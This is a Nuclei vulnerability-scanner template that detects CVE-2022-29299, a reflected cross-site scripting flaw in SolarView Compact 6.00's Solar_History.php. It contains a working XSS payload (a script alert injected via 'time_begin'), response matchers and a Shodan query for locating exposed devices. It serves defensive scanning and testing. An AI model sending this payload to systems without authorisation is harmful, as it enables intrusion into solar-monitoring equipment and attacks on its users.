nuclei-templates/http/cves/2022/CVE-2022-29299.yaml

45 lines
1.6 KiB
YAML

id: CVE-2022-29299
info:
name: SolarView Compact 6.00 - 'time_begin' Cross-Site Scripting
author: For3stCo1d
severity: medium
description: |
SolarView Compact version 6.00 contains a cross-site scripting vulnerability in the 'time_begin' parameter to Solar_History.php.
remediation: |
To mitigate this vulnerability, it is recommended to implement proper input validation and sanitization techniques to prevent the execution of malicious scripts.
reference:
- https://www.exploit-db.com/exploits/50967
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-29299
classification:
cve-id: CVE-2022-29299
metadata:
verified: true
max-request: 1
shodan-query: http.favicon.hash:-244067125
tags: cve,cve2022,xss,solarview,edb
http:
- method: GET
path:
- '{{BaseURL}}/Solar_History.php?time_begin=xx%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E%3C%22&time_end=&event_level=0&event_pcs=1&search_on=on&search_off=on&word=hj%27&sort_type=0&record=10&command=%95%5C%8E%A6'
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<script>alert(document.domain)</script><"">'
- '/Solar_History.php" METHOD="post">'
condition: and
- type: word
part: header
words:
- "text/html"
- type: status
status:
- 200
# digest: 4b0a004830460221009d43ac4959a7325c6f69198d1f4deed2badad16a8b12f0574e86dd9edbb3ee1f02210097baa8089139ece7b77d9102f25d6adfb31f9d4cfaa08609a37e6c9548ca8a01:922c64590222798bb761d5b6d8e72950